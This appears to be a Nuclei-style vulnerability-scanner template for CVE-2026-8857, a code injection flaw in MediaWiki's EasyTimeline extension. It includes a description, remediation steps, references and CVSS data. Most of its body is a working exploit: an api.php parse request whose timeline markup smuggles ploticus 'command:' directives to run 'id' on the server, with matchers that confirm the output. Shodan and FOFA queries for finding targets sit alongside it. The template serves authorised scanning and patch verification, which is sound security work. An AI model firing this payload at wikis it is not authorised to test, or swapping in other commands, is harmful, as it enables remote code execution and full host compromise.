id: CVE-2026-8857 info: name: MediaWiki EasyTimeline - Code Injection RCE author: pdteam severity: high description: | MediaWiki EasyTimeline (Timeline) extension versions before 1.46.0, 1.45.4, 1.44.6, and 1.43.9 contain a code injection vulnerability caused by insufficient neutralization of newlines in TextData text attributes in EasyTimeline.pl / Timeline.php. A crafted block can inject ploticus '#proc getdata' and 'command:' directives, which execute via /bin/sh because EasyTimeline invokes ploticus without the -noshell flag. Exploitation requires the ability to submit timeline markup for rendering — low-privileged edit access, or anonymous access on wikis that allow anonymous editing and API use. This template's parse-based check needs API read access; optional username/password inputs can be supplied for private wikis that deny anonymous read. impact: | Attackers who can submit timeline markup can execute arbitrary OS commands in the context of the EasyTimeline/ploticus process, potentially leading to full host compromise where Timeline is not isolated (for example outside a remote shellbox). remediation: | Upgrade the Timeline / EasyTimeline extension to 1.46.0, 1.45.4, 1.44.6, or 1.43.9 (or later). If an upgrade is not immediately possible, disable the EasyTimeline extension, especially when it is not executed in an isolated shellbox. reference: - https://phabricator.wikimedia.org/T426631 - https://nvd.nist.gov/vuln/detail/CVE-2026-8857 - https://github.com/advisories/GHSA-q6xp-j96f-7vmp - https://www.mail-archive.com/wikitech-l@lists.wikimedia.org/msg97434.html classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.8 cve-id: CVE-2026-8857 cwe-id: CWE-94 epss-score: 0.02098 epss-percentile: 0.80479 metadata: verified: true max-request: 4 vendor: mediawiki product: easytimeline shodan-query: http.component:"MediaWiki" fofa-query: app="MediaWiki" tags: cve,cve2026,mediawiki,easytimeline,timeline,rce,intrusive,authenticated,vuln flow: | if (template["username"] && template["password"]) { http("login") && http("detect") && http("exploit") } else { http("detect") && http("exploit") } http: - id: login raw: - | GET /api.php?action=query&meta=tokens&type=login&format=json HTTP/1.1 Host: {{Hostname}} - | POST /api.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded action=login&format=json&lgname={{username}}&lgpassword={{password}}&lgtoken={{url_encode(logintoken)}} extractors: - type: json name: logintoken part: body internal: true json: - '.query.tokens.logintoken' matchers: - type: word part: body words: - '"result":"Success"' internal: true - id: detect raw: - | GET /api.php?action=query&meta=siteinfo&siprop=extensions|general&format=json HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'contains(body, "\"generator\":\"MediaWiki")' - 'contains(body, "\"name\":\"EasyTimeline\"")' internal: true - id: exploit raw: - | POST /api.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded action=parse&format=json&contentmodel=wikitext&text=%3Ctimeline%3E%0ADateFormat%3Dyyyy%0AImageSize%3Dwidth%3A200+height%3A100%0APeriod%3Dfrom%3A2000+till%3A2010%0APlotArea%3Dwidth%3A150+height%3A50+left%3A30+bottom%3A30%0ATimeAxis%3Dorientation%3Ahorizontal%0ATextData%3D%0A++pos%3A%2840%2C40%29+fontsize%3AS+text%3A%22x%5Cn%23proc+getdata%5Cncommand%3A+id+%3E+file.err%5Cn{{rand_text_alphanumeric(12)}}%22%0A%3C%2Ftimeline%3E matchers-condition: and matchers: - type: word part: body words: - 'timeline-error' - type: regex part: body regex: - 'uid=\d+\([^)]+\)' extractors: - type: regex part: body group: 1 regex: - '(uid=\d+\([^)]+\)(?:\s+gid=\d+\([^)]+\))?(?:\s+groups=[^<"\\]+)?)' # digest: 4a0a00473045022026e137bb6139454edc7de4af5d144bf0cf142a5562296561fe53fab1343235ff022100b82ff5bc7e10712a0443580c5f75a359bd90cff1eb660004fa1791aa4a3c01c2:922c64590222798bb761d5b6d8e72950